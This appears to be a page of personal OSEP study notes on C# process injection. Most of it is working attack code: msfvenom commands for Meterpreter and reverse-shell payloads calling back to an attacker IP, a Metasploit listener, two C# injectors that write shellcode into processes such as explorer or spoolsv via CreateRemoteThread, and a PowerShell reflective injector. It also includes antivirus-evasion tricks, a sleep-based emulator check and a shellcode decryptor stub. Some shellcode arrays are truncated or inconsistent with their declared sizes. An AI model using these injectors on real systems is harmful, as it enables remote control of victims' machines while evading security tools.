> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/evasions/c-process-injection.md).

# C# Process Injection

<pre data-title="C# shellcode:" data-overflow="wrap" data-full-width="true"><code><a data-footnote-ref href="#user-content-fn-1">msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp</a>
</code></pre>

{% code title="listner" overflow="wrap" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

## On disk shellcode injection to process

<pre class="language-csharp" data-title="injectshell.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        
        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
                
        static void Main(string[] args)
        {
            DateTime t1 = DateTime.Now;
           <a data-footnote-ref href="#user-content-fn-2"> Sleep(2000);</a>
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 &#x3C; 1.5)
            {
                return;
            }
            IntPtr hProcess = <a data-footnote-ref href="#user-content-fn-3">OpenProcess</a>(<a data-footnote-ref href="#user-content-fn-4">0x001F0FFF</a>, <a data-footnote-ref href="#user-content-fn-5">false</a>, <a data-footnote-ref href="#user-content-fn-6">4804</a>);
            IntPtr addr = <a data-footnote-ref href="#user-content-fn-7">VirtualAllocEx</a>(<a data-footnote-ref href="#user-content-fn-8">hProcess</a>, <a data-footnote-ref href="#user-content-fn-9">IntPtr.Zero</a>, <a data-footnote-ref href="#user-content-fn-10">0x1000</a>, <a data-footnote-ref href="#user-content-fn-11">0x3000</a>, <a data-footnote-ref href="#user-content-fn-12">0x40</a>);

            <a data-footnote-ref href="#user-content-fn-13">byte[] buf = new byte[0]</a> {
             };
             
            // decryptor if used evasion encryptor
            //for (int i = 0; i &#x3C; buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) &#x26; 0xFF);
            //}

            IntPtr outSize;
            <a data-footnote-ref href="#user-content-fn-14">WriteProcessMemory</a>(<a data-footnote-ref href="#user-content-fn-15">hProcess</a>, <a data-footnote-ref href="#user-content-fn-16">addr</a>, <a data-footnote-ref href="#user-content-fn-17">buf</a>, <a data-footnote-ref href="#user-content-fn-18">buf.Length</a>, <a data-footnote-ref href="#user-content-fn-19">out outSize</a>);

            IntPtr hThread = <a data-footnote-ref href="#user-content-fn-20">CreateRemoteThread</a>(<a data-footnote-ref href="#user-content-fn-8">hProcess</a>, <a data-footnote-ref href="#user-content-fn-21">IntPtr.Zero, 0</a>, <a data-footnote-ref href="#user-content-fn-22">addr</a>, <a data-footnote-ref href="#user-content-fn-23">IntPtr.Zero</a>, <a data-footnote-ref href="#user-content-fn-24">0, IntPtr.Zero</a>);
        }
    }
}
</code></pre>

{% hint style="warning" %}
Remember to set the CPU architecture to x64 (both compiler & shellcode) since we are injecting into a 64-bit process

64-bit versions of Windows can run both 32 and 64-bit processes.&#x20;

This means that we could face four potential migration paths:&#x20;

64-bit -> 64-bit, 64-bit -> 32-bit, 32-bit -> 32-bit, ~~and 32-bit -> 64-bit~~.

The first three paths will work as expected. However, the fourth (32-bit -> 64-bit) will fail since `CreateRemoteThread`does not support this.
{% endhint %}

{% hint style="info" %}
The low-level native APIs *`NtCreateSection`*, *`NtMapViewOfSection`*, *`NtUnMapViewOfSection`*, and *`NtClose`* in **`ntdll.dll`** can be used as alternatives to *`VirtualAllocEx`* and *`WriteProcessMemory`*.
{% endhint %}

{% embed url="<https://www.hackingarticles.in/metasploit-for-pentester-inject-payload-into-executable/>" %}

{% embed url="<https://www.hackingarticles.in/metasploit-for-pentester-migrate/>" %}

{% code title="better" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace ex22
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static bool IsElevated
        {
            get
            {
                return WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);
            }
        }
        static void Main(string[] args)
        {
            String procName = "";
            if (args.Length == 1)
            {
                procName = args[0];
            }
            else if (args.Length == 0)
            {
                // Inject based on elevation level
                if (IsElevated)
                {
                    Console.WriteLine("Process is elevated.");
                    procName = "spoolsv";
                }
                else
                {
                    Console.WriteLine("Process is not elevated.");
                    procName = "explorer";
                }
            }
            else
            {
                Console.WriteLine("Please give either one argument for a process to inject, e.g. \".\\ShInject.exe explorer\", or leave empty for auto-injection.");
                return;
            }

            Console.WriteLine($"Attempting to inject into '{procName}' process...");
            Process[] expProc = Process.GetProcessesByName(procName);
            int pid = expProc[0].Id;

            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

            if ((int)hProcess == 0)
            {
                Console.WriteLine($"Failed to get handle on PID {pid}.");
            }
            Console.WriteLine($"Got handle {hProcess} on '{procName}' PID {pid}.");

            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Console.WriteLine($"Allocated memory at address {addr} in handle {hProcess}.");

            // msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f csharp
            byte[] buf = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};

            IntPtr outSize;
            bool procMemResult = WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
            Console.WriteLine($"Wrote {outSize} payload bytes into {addr} (result: {procMemResult}).");

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            Console.WriteLine($"Created remote thread at address {hThread}. Check your listener.");
        }
    }
}
```

{% endcode %}

{% code title="powershell" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```powershell
function LookupFunc {
 
    Param ($moduleName, $functionName)
   
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
            Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')                                                                          
    $tmp = @()                                                               
    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } }                                                                
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
   
function getDelegateType {
   
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
   
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
        [System.MulticastDelegate])
   
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
   
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
   
    return $type.CreateType()
}
   
$id = (Start-Process Notepad -passthru).ID
   
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [bool], [Int32]) ([IntPtr]))).Invoke(0x001F0FFF, $false, $id)
   
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
   
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1
   [Byte[]] $buf = 

   
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($hProcess, $lpMem, $buf, $buf.Length, [ref]0)
   
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
```

{% endcode %}

[^1]: `byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...}`

[^2]: [bypass AV emulator](/osep/attack/evasions.md#sleep)

[^3]: opening a channel from one process to another

[^4]: `PROCESS_ALL_ACCESS` to gain complete access to the process - will check against security descriptor (integrity level)

[^5]: do not care about whether child process to inherit this handle

[^6]: explorer.exe PID

[^7]: allocate memory for shellcode&#x20;

    (`VirtualAlloc` only works inside current process but not remote process)

[^8]: process handle obtained

[^9]: let the API select an unused address

[^10]: `MEM_COMMIT` size of desired allocation

[^11]: `MEM_RESERVE` allocation type

[^12]: `PAGE_EXECUTE_READWRITE` memory protection

[^13]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp`

[^14]: copy data to remote process&#x20;

    (`RtlMoveMemory` and *C# Copy* methods do not support remote copy)

[^15]: process handle

[^16]: newly allocated memory address in the target process

[^17]: address of the byte array containing the shellcode

[^18]: size to the shellcode to be copied

[^19]: pointer to a location in memory to output how much data was copied

    `out` keyword was prepended to the *outSize* variable to have it passed by reference instead of value. This ensures that the argument type aligns with the function prototype. The input buffer (`buf`) also needs to be a pointer but this is inherent in the C# array data type.

[^20]: execution

    (`CreateThread` does not support the creation of remote process threads)&#x20;

[^21]: accept default value for desired security descriptor of the new thread and its allowed stack size

[^22]: specify the starting address if the thread

    equal to the address of the buffer we allocated and copied our shellcode into inside the target process

[^23]: a pointer to variables which will be passed to the thread function pointed to by `lpStartAddress`. Since our shellcode does not need any parameters, we can pass a NULL here

[^24]: ignore various flags and an output variable for a thread ID
